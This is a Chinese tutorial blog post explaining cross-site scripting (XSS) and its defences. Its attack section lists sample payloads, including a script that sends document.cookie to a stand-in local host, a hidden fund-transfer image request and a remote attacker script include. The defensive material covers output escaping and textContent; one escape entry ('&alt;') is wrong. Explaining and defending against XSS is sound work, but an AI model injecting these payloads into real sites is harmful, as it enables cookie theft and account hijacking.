简述XSS攻击及其防范措施

▍XSS

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

▍通俗来说

通俗点说,就是通过在css或者html里嵌入一些恶意的Javascript代码,从而实现恶意攻击的目的。

那么这些Javascript代码又是如何嵌入进去的呢?

▍XSS方式

1、 输入框中直接输入恶意脚本,如:

"><script>alert(document.cookie)</script>

或者

<script>document.location.href = ‘http://127.0.0.1:9090/xss?foo=‘ + document.cookie</script>

2、输入框中输入html标签,在标签中嵌入恶意脚本,如src,href,css,style等。

<img src="javascript:alert(‘XSS‘);" />

<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
<body background="javascript:alert(‘XSS‘);"></body>
<style>
li{
list-style-image: url("javascript:alert(‘XSS‘);");
}
</style>

<li>XSS</li>

3、将恶意脚本注入在event事件中,如onClick,onBlur,onMouseOver等事件。

<a onmouseover="alert(document.cookie)">
xxslink
</a>
4、在remote style sheet,javascript中,如

<link rel="stylesheet" href="javascript:alert(‘XSS‘);" />
<script src="http://ha.ckers.org/xss.js"></script>
5、meta标签,如

<meta http-equiv="refresh" content="5" />
<meta http-equiv="set-cookie" content="usetid=<script>alert(‘XSS‘)</script>" />
▍切记切记

用于不要把任何来自用户的内容放到下面这些地方:

script标签:<script> not here </script>

html注释:<!-- not here -->

标签名:<nothere href="/test.html" />

属性:<div nothere="nothere" />

css值:{color : not here}

▍防范方法

网上防范XSS攻击的方法一搜就一大堆,但是无论方法有多少,始终是万变不离其宗。

1、转义用户的内容

a、HTML:对以下这些字符进行转义:

&:&amp;

<:&alt;

>:&gt;

‘:'

":&quot;

/:/

b、Javascript:把所有非字母、数字的字符都转义成小于256的ASCII字符;

c、URL:使用Javascript的encodeURIComponent()方法对用户的输入进行编码,该方法会编码如下字符:,      /      ?     :     @     &     =     +     $     #

2、添加用户生成的内容

a、Javascript:使用textContent或者innerText,而不能使用innerHTML;

b、jquery:使用text(),而不能使用html();

---------------------
作者:颜值界扛把子
来源:CSDN
原文:https://blog.csdn.net/i_dont_know_a/article/details/80560940
版权声明:本文为博主原创文章,转载请附上博文链接!

原文地址:https://www.cnblogs.com/lightpro/p/10894829.html

时间: 2024-10-29 00:40:31

简述XSS攻击及其防范措施的相关文章

XSS攻击与防范

1.什么是XSS攻击 XSS攻击,跨站脚本攻击 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的. xss攻击,就是给form表单的项目里边填写一些html.css.js等脚本代码,这些代码就会被收集到数据库里边,当对应的内容展示的时

XSS研究2-来自内部的XSS攻击的防范

引入: 前面我们分2篇文章分别探讨了来自外部的XSS攻击和来自内部的XSS攻击,现在我们来专门探讨如何防范来自内部的XSS攻击.   实践:  http://www.cnblogs.com/crazylqy/p/4146740.html 文章中可以看出,主要的攻击手段无外乎是发送了一段恶意脚本到受害者机器上去运行,所以我们的思路就是,如何让这段脚本失效.   因为脚本的组成部分是<script>和</script>,而这其中最主要的是大于号和小于号字符,所以我们只要在请求中,把 大

协议欺骗攻击及其防范措施

许多应用程序认为若数据包可以使其自身沿着路由到达目的地,并且应答包也可回到源地,那么源IP地址一定是有效的,而这正是使源IP地址欺骗攻击成为可能的一个重要前提. 假设同一网段内有两台主机A和B,另一网段内有主机X.B 授予A某些特权.X 为获得与A相同的特权,所做欺骗攻击如下:首先,X冒充A,向主机 B发送一个带有随机序列号的SYN包.主机B响应,回送一个应答包给A,该应答号等于原序列号加1. 然而,此时主机A已被主机X利用拒绝服务攻击 "淹没"了,导致主机A服务失效.结果,主机A将B

WEB安全实战(三)XSS 攻击的防御

前言 上篇文章中提到了 XSS 攻击,而且,也从几个方面介绍了 XSS 攻击带来的严重影响.那么,这篇文章中,主要是针对 XSS 攻击做一个基本的防御,看看可以通过几种方式来修复这个特别常见的安全漏洞. 由于公司用的是 SpringMVC,因此,这次就主要基于 SpringMVC 来解决这些漏洞.当然,其实这些解决方案都是大同小异,对于什么环境来说根本无所谓.了解了原理,什么环境.什么语言都可以运用自如了.废话就不多说了,直接上解决方案. 解决方案 方案一 方案一主要是利用了 SpringMVC

其他网络攻击行为的防范措施

协议攻击和拒绝服务攻击是黑客惯于使用的攻击方法,但随着网络技术的飞速发展,攻击行为千变万化,新技术层出不穷.下面将阐述一下网络嗅探及缓冲区溢出的攻击原理及防范措施. 1.针对网络嗅探的防范措施 网络嗅探就是使网络接口接收不属于本主机的数据.计算机网络通常建立在共享信道上,以太网就是这样一个共享信道的网络,其数据报头包含目的主机的硬件地址,只有硬件地址匹配的机器才会接收该数据包.一个能接收所有数据包的机器被称为杂错节点.通常账户和口令等信息都以明文的形式在以太网上传输,一旦被黑客在杂错节点上嗅探到

XSS 防范XSS 攻击的措施

首先看看跨站脚本漏洞的成因,所谓跨站脚本漏洞其实就是Html的注入问题,恶意用户的输入没有经过严格的控制进入了数据库最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行HTml代码,数据流程如下: 恶意用户的Html输入————>web程序————>进入数据库————>web程序————>用户浏览器 这里给出一些防范XSS 攻击的措施.必须说明的是,对于XSS 攻击,并不像SQL Injection 那样可以有一劳永逸的解决方案——只需要grep 一下所有的sql

6.XSS攻击方式及防御措施

一.前端XSS攻击分类 1.什么是XSS攻击 XSS允许恶意的web用户将代码植入到提供给其他用户使用的页面中 2.XSS分类 反射型(非持久型)XSS 存储型(持久型)XSS DOM-Basedx型 XSS (1)反射型XSS 攻击方式:诱导用户点击率一些带恶意脚本参数的URL,而服务器直接使用了恶意脚本并返回了结果页,从而导致恶意代码在浏览器执行 (2)持久型XSS 攻击方式:将恶意代码上传或存储到了漏洞服务器上,用户访问页面时,页面中包含了恶意脚本 (3)DOM-Basedx型XSS 攻击

xss攻击和sql注入防范

php xss攻击防范 如果类似商品标题之类的,可以使用 strip_tags() 过滤,全部清除掉html标签. 如果类似商品描述之类的,可以使用 htmlspecialchars() 过滤,把html标签转义. sql注入防范 数字类型参数,可以使用 (int)/intval() 强制转为整形. 字符串类型参数,可以使用 mysql_real_escape_string() 转义特殊字符. java xss攻击防范 输入时处理,使用 StringEscapeUtils.escapeHtml4

web安全之XSS攻击原理及防范

阅读目录 一:什么是XSS攻击? 二:反射型XSS 三:存储型XSS 四:DOM-based型XSS 五:SQL注入 六:XSS如何防范? 1. cookie安全策略 2. X-XSS-Protection设置 3. XSS防御HTML编码 4. XSS 防御HTML Attribute编码 5. XSS防御之javascript编码 6. XSS 防御之 URL 编码 7. XSS 防御之 CSS 编码 8. 开启CSP网页安全政策防止XSS攻击 回到顶部 一:什么是XSS攻击? XSS 即(